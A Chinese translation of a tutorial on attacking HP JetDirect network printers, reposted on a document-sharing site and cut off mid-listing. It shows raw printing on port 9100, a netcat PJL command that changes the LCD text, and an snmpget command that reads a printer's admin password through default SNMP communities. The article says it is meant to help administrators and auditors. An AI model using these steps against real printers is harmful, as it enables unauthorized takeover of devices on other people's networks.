攻击网络打印机.docx
- 文档编号:6537923
- 上传时间:2023-01-07
- 格式:DOCX
- 页数:52
- 大小:1MB
攻击网络打印机.docx
《攻击网络打印机.docx》由会员分享,可在线阅读,更多相关《攻击网络打印机.docx(52页珍藏版)》请在冰豆网上搜索。
攻击网络打印机
攻击网络打印机
作者:
AdrianCrenshaw
译者:
riusksk(泉哥:
)宏基笔记本AS3810TZ-272G32n
你说如果入侵打印机需要何种墨水呢,Irongeek(译注:
作者的网站)吗?
好的,本文这里将向您讲述如何通过打印机以鲜为人知的方式来渗透网络。
以前,除了垃圾箱中的复印件所带来的安全威胁外,并不会有其它太多的安全隐患。
但现在的打印机却可通过网络与嵌入式操作系统、存储和IP协议栈相关联,已经不再像以前一样单一了。
本文将就网络打印机泄漏用户、机主和网络的相关信息的话题展开讨论。
由于本文中关于攻击的内容多于防御,因此看起来有点像黑帽子。
但是我觉得这些信息对于系统管理员和审计者来说更为有用,可以帮助他们在面对网络打印机时更清楚地知道该关注哪一方面的信息。
关于如何锁住网络打印机,你可以访问厂商的官方网站以获取更多的建议。
关于惠普网络打印机的一份指南在本文的底部已经附上下载连接,如果不出意外,本文将引领你在正确的方向上进行思考。
本文测试的打印机主要是基于Hewlett-PackardLaserJet4100MFP(Fax/Printer/Copier/Scanner),HPJetdirect170x和HPJetDirect300X(J3263A),但与此同时我也将讲述一些关于RicohSavin打印机的内容,以便让你知道,其实并不是只有惠普的网络打印机才存在安全问题的。
本文最初来源于Droop的InfonomiconTV项目,它如滚雪球一般,没有具体的方向。
但我继续坚持着,并对其进行整理,还有其他朋友给予的附加内容和建议,才使得本文更为完善和更有价值。
关于本文的最新版本可在以下链接找到:
概念
下面讲述几个本文中涉及到的缩写词。
PCL代表打印机控制语言(PrinterControlLanguage),由惠普公司开发,并被广泛使用的一种打印机协议。
关于另一种页面描述语言,应该提一提由Adobe设计的PostScript(PS),它可以将更为复杂的事情交由绘图仪/打印机处理。
PJL(PrinterJobLanguage,打印机作业语言)作为PCL的扩展,用于指导打印机行为,比如更改设备设置、传输文件等。
另外,也有三个主要的网络打印机协议是你应该注意的,下面已经列出了关于各协议的相关信息:
Name
Meaning
Port
LPD
LinePrinterDaemonprotocol
515/tcp
IPP
aka
Berkeleyprintingsystem
InternetPrintingProtocol
631/tcp
JetDirect
aka
AppSocket
aka
Raw
aka
PDL-datastream
9100/tcp
因为我主要关注JetDirects打印机,所以讲述的是更多关于AppSocket/PDL-datastream的内容,但由于一些JetDirects打印机也可工作在IPP和LPD协议下,以及一些非惠普公司生产的网络打印机也使用AppSocket协议,因此你应该全面关注这三项协议。
也有一些网络打印机使用IPX,Appletalk和SMB协议(例如Savins)进行通讯。
我并不打算讲述IPX和Appletalk协议,因为本人缺乏这方面的经验,如果有人看到此页并愿意提供这方面的相关信息,我将很感谢。
至于SMB,容后再叙。
现在就让我们开始playingwithprinters吧!
诊断页(Diagnosticspage)
图1
图2
图1、2是JetDirect170x的外观,注意图2最右边标记着“test”的按钮。
在大部分的JetDirectbox上按下此按钮,将会打印出一张诊断页列表统计,以及JetDirectbox的IP设置。
如果你的打印机有内置JetDirectcard,则需要通过选择菜单才能打印出诊断页。
当你一按下test按钮时,打印机就打印出一页或者两页关于主机名、MAC地址、IP地址、子网掩码、默认网关、固件修订和一些常见统计的信息。
如果你想在windows或者linux平台上通过配套软件直接设置IP以打印文件,那么IP/主机名将特别有用。
如果你不能物理访问JetDirectbox,那么你依然可以通过查看Ports选项卡找到打印机的IP地址或主机名,就像访问在windows平台上设置的网络打印机一样。
图3
如图3所示,JetDirectbox主机名为npib1002c。
有时你将在port选项卡上看到像IP_192.168.1.102的名称,很显然,192.168.1.102就是JetDirect的IP地址。
你完全可以在LAN上互换使用主机名或IP,如果主机名有一个合适的域名,那么你也可以通过互联网访问到它。
如果你并不能访问到JetDirectbox,或者你的电脑不能与其连接,那么不要失望,在下一节中,我将讲述如何通过使用Nmap和JetAdmin找到LAN/Internet中的这些打印机。
低级的打印方式
本节之所以称为低级的打印方式,是因为这些行为根本没有什么技术含量,但这也说明了RAW/AppSock协议的简单性,该协议主要是在JetDirect和其它网络打印机上监听9100/tcp端口。
你可以尝试一下,通过诊断页找出打印机的IP地址,然后访问以下地址:
http:
//your-printers-ip:
9100
末尾的“:
9100”是告之浏览器连接端口9100/tcp。
当尝试建立连接时,你会注意到浏览器并不会跑去其它错误的地方,因为它是在端口9100/tcp上运行的,而非WEB服务。
点击浏览器上的stop按钮可以中断连接,然后去注意一下打印机,你会发现,基于不同的浏览器,你可以看到如下的传输数据:
Firefox
InternetExploiter
GET/HTTP/1.1
Host:
tux:
9100
User-Agent:
Mozilla/5.0(Windows;U;WindowsNT5.1;en-US;rv:
1.8.0.1)Gecko/20060111Firefox/1.5.0.1
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language:
en-us,en;q=0.5
Accept-Encoding:
gzip,deflate
Accept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive:
300
Connection:
keep-alive
GET/HTTP/1.1
Accept:
image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flash,application/vnd.ms-excel,application/vnd.ms-powerpoint,application/msword,*/*
Accept-Language:
en-us
Accept-Encoding:
gzip,deflate
User-Agent:
Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1;.NETCLR1.1.4322;.NETCLR2.0.50727)
Host:
test:
9100
Connection:
Keep-Alive
如上所示,打印机通过端口9100/tcp读取打印工作。
上面的两份请求均是针对服务器根文件的HTTPget请求。
但是打印机并不知道这些,它只是以文本形式打印出这些请求而已。
另外,你也可以尝试telnet到端口9100(假设打印机IP地址192.168.1.2),输入以下命令:
Irongeek:
~#telnet192.168.1.29100
Trying192.168.1.2...
Connectedto192.168.1.2.
Escapecharacteris'^]'.
helloprinter
^]
telnet>quit
Connectionclosed.
Irongeek:
~#
如上所示,打印机回显“helloprinter”,其中"^]"代表按下Ctrl键和]括号。
上述实例是以*nix下操作完成的,与在windows平台下操作使用相同命令。
注意,你可能无法看到上面红色标记的回显内容,除非你在本地打开echo(在windows下是默认关闭的)。
比较令人意外的是,网络打印机将所有打印出来的数据都发送到9100端口。
针对这种打印方式,我们随后再详细论述,这里讲一下可能你更感兴趣的内容——更改LCD显示。
下面这些方法并不适用于所有的打印机,但如果是惠普打印机就一定可以。
更改LCD显示可以使用Telnet远程登陆:
Irongeek:
~#$telnet192.169.1.29100
@PJLRDYMSGDISPLAY="SomeText"
^]quit
Irongeek:
#$
或者Netcat:
Irongeek:
~#$echo@PJLRDYMSGDISPLAY=\"SomeText\"|netcat-q0192.168.1.29100
Irongeek:
#$
JetDirect密码记录
在大多情况下,人们并不开启密码选项,但如果他们开启了,又会很快发现它们并不能以正常的逻辑方式来工作。
如果你使用的是像如下款式的JetDirect的打印机:
680N(J6058A)
615N(J6057A)
610N(J4169A,J4167A)
380X(J6061A)
310X(J6038A,250M(J6042A)
75X(J6035A)
或者是一台内置JetDirectcard的HP打印机:
HPLaserJet4100series
HPLaserJet8150series
HPLaserJet9000series
HPColorLaserJet4550series
HPColorLaserJet4600
HPDesignjet5000seriesorHPBusinessInkjet2600
远程登陆和WEB登陆或软件JetAdmin所使用的设备密码是一致的。
如果远程登陆打印机,则需要输入用户名和密码,而用户名“root”,“admin”,“administrator”和“supervisor”都是等价有效的。
如果你使用的是一台如下旧款的JetDirect:
600N(J3110A,J3111A,J3112A,J3113A)
400N(J4100A,J4105A,J4106A)
300X
500X
170X(J3296A,J4101B,J3263A,J3264A,3265A,J4102B,J3258B)
那么就会让人觉得更加莫名其妙了。
因为当telnet上述类型的打印机时,会被要求输入密码,但却无需用户名。
如果你为telnet服务设置密码,这可能会导致与web登陆的密码不一致,反之亦然。
也就是说在JetDirect上至少有两个不同的密码,其中一个用于远程登陆,一个用于WEB登陆或JetAdmin软件登陆。
远程登陆密码被限制为16个字符,WEB/JetAdmin登陆密码为12个字符。
你只需要记住,Hijetter(稍后讨论)可能会报告不可用的密码,即使所有的密码都被设置了。
但这也没有关系,因为我们还有其它方法可以绕过密码限制。
WEB接口与JetAdmin都是使用SNMP(SimpleNetworkManagementProtocol)协议来控制JetDirect的,但这要求你提供正确的密码才能登陆。
如果使用第三方SNMP实用工具将完全无需密码,就可以连接并控制JetDirect打印机。
可能你会认为通过改变默认的SNMP团体名称(communityname)public/private是个不错的方法,但即使更改了,你也依然无法嗅探到无线数据,除非在新款的JetDirect打印机中支持SNMPv3和SSL/TLS。
如果你使用的是Windows2000下的桌面软件JetAdmin,那么一旦使用后,它就会自动将密码保存在注册表中。
例如,如果JetDirect的MAC地址是001083A2C913,那么JetAdmin将会把密码"password"保存在User\Software\Hewlett-Packard\HPJetAdmin\DeviceOptions\001083A2C913下的"Access"中,其键值为"500041005300530057004f00520044,00,00,00"。
这一串十六进制即为密码“password”中的各字母转换而成的,在每一字符之间还存在一个NULL字符,并用null填充。
暴力破解密码可能是一种方法,因为并不是所有的网络打印机都像上面一样记录密码的。
由于你已经知道telnet是非加密的,因此也可以尝试嗅探密码。
可以使用Ethereal来嗅探,在旧款的JetDirect(实际上就是Javaapplet)上的WEB接口,以及使用SNMP设置JetDirect的JetAdmin都是使用明文密码传输数据的,可通过在dump文件中搜索以”=108”开头的字符串即可找到密码。
在一些新款的JetDirect中可能并非如此,它可能使用SSL加密连接了。
如果你在JetDirect上设置了一个密码,但却忘记它了,相信这时大多数人都会使用硬重置(hardreset)以恢复密码。
只需先拨掉电源,再按下test/status按钮,过会再插回电源,这样所有被设置的密码就会被清除。
通过SNMP漏洞远程获取JetDirect密码
浏览SecurityF网站搜索JetDirectexploit,可以找到以下公告:
由于上述链接的内容讲述得不够详细,因此后面我将一步一步地向你展示如何利用此漏洞。
一些JetDirect打印机的设备密码大多是以明文形式存储的,并可通过SNMP读取团体名称。
有些可能修改了默认的SNMP团体名”public”,但依然可被嗅探到。
由于在一些JetDirect上默认使用“internal”这个团体名,因此也可以试试“internal”。
据报导,在一些JetDirect打印机上,即使更改了团体名,“internal”依然可用。
通过使用Net-SNMP工具集(http:
//net-
Irongeek:
~#snmpget-v1-cpublic192.168.2.46.1.3.6.1.4.1.11.2.3.9.1.1.13.0
SNMPv2-SMI:
:
enterprises.11.2.3.9.1.1.13.0=Hex-STRING:
50415353574F52443D3130383B000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
Irongeek:
~#
上面的十六进制字符串50=P,41=A,53=S,53=S,57=W,4F=0,52=R,44=D,3D==,31=1,30=0,38=8,3B=;,即字符串"PASSWORD=108;",其中密码为"PASSWORD",如果更改为新密码NEWPASSWORD,那么生成的"50415353574F52443D3130383B"即为"NEWPASSWORD=108;"。
在"=108;"之前即为密码,对于HEX转换为ASCII的体力活可在以下网站进行转换:
注意,当我以小写字母的形式输入密码时,它却是以大写字母的形式存储的,说明这些密码是不区分大小写的。
存在此漏洞的JetDirect款式有:
HPJetDirectJ3263A
HPJetDirectJ3113A
HPJetDirectJ3111A
其它款式也存在漏洞,可以测试一下。
这里我用HewlettPackardHPJetDirect300X(J3263A)进行测试,并且安装了最新的可能修补此问题的固件(firmware)(H.08.49),但依然一直有很多未打补丁的JetDirect出现。
一些打印服务器,比如HPJ3258AJetDirect170X就没有使用可升级的固件,因此会被这些固件拖累。
唯一的解决方法,就是购买一台新的JetDirect打印机。
通过telnet/web浏览器控制JetDirect打印机
大多数的JetDirect可通过网络浏览器或telnet会话进行配置,图4就是基于WEB配置工具的一张截图,只需在你喜爱的并且支持JAVA的WEB浏览器中的地址栏里输入JetDirect的主机名或IP地址即可。
图4
下面是通过telent连接JetDirect的例子,它显示了帮助选项,并重置了主机名:
Irongeek:
~#telnet192.168.1.2
Trying192.168.1.2...
Connectedto192.168.1.2.
Escapecharacteris'^]'.
HPJetDirect
Pleasetype"?
"forHELP,or"/"forcurrentsettings
>?
ToChange/ConfigureParametersEnter:
Parameter-name:
value
Parameter-nameTypeofvalue
ip:
IP-addressindottednotation
subnet-mask:
addressindottednotation(enter0fordefault)
default-gw:
addressindottednotation(enter0fordefault)
syslog-svr:
addressindottednotation(enter0fordefault)
idle-timeout:
secondsinintegers
set-cmnty-name:
alpha-numericstring(32charsmax)
host-name:
alpha-numericstring(uppercaseonly,32charsmax)
dhcp-config:
0todisable,1toenable
allow:
addrawport:
deleterawport:
listrawport:
(Noparameterrequired)
addstring:
contents-Fornon-printablecharactersuse
\xxfortwodigithexnumber
deletestring:
liststring:
(Noparameterrequired)
addq:
prepend-Theprependstringname
append-Theappendstringname
UseNULLfornostring
processing-RAW,TEXT,orAUTO
deleteq:
listq:
(Noparameterrequired)
defaultq:
ipx/spx:
0todisable,1toenable
dlc/llc:
0todisable,1toenable
ethertalk:
0todisable,1toenable
banner:
0todisable,1toenable
Typepasswdtochangethepassword.
Type"?
"forHELP,"/"forcurrentsettingsor"quit"tosave-and-exit.
Ortype"exit"toexitwithoutsavingconfigurationparameterentries
>/
===JetDirectTelnetConfiguration===
FirmwareRev.:
H.08.32
MACAddress:
00:
60:
b0:
6d:
47:
c6
ConfigBy:
D
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 攻击 网络 打印机